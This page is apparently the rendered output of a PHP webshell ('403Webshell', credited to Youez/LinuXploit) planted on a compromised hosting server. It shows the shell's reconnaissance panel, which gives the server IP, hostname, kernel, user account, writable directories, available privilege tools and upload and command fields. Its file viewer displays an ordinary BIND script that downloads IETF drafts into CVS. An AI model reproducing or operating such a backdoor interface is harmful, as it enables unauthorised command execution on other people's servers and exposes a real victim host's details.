403Webshell
Server IP : 45.40.142.9  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux s45-40-142-9.secureserver.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : bayspec ( 506)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/bind-9.8.2/draft/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/bind-9.8.2/draft/update
#!/bin/sh
commit=
for i
do
	z=`expr "$i" : 'http://www.ietf.org/internet-drafts/\(.*\)'`
	if test -n "$z"
	then
		i="$z"
	fi
	if test -f "$i"
	then
		continue
	fi
	pat=`echo "$i" | sed 's/...txt/??.txt/'`
	old=`echo $pat 2> /dev/null`
	if test "X$old" != "X$pat"
	then
		newer=0
		for j in $old
		do
			if test $j ">" $i
			then
				 newer=1
			fi
		done
		if test $newer = 1
		then
			continue;
		fi
	fi
	if fetch "http://www.ietf.org/internet-drafts/$i" 
	then
		cvs add "$i" 
		if test "X$old" != "X$pat"
		then
			rm $old
			cvs delete $old
			commit="$commit $old"
		fi
		commit="$commit $i"
	fi
done
if test -n "$commit"
then
	cvs commit -m "new draft" $commit
fi

Youez - 2016 - github.com/yon3zu
LinuXploit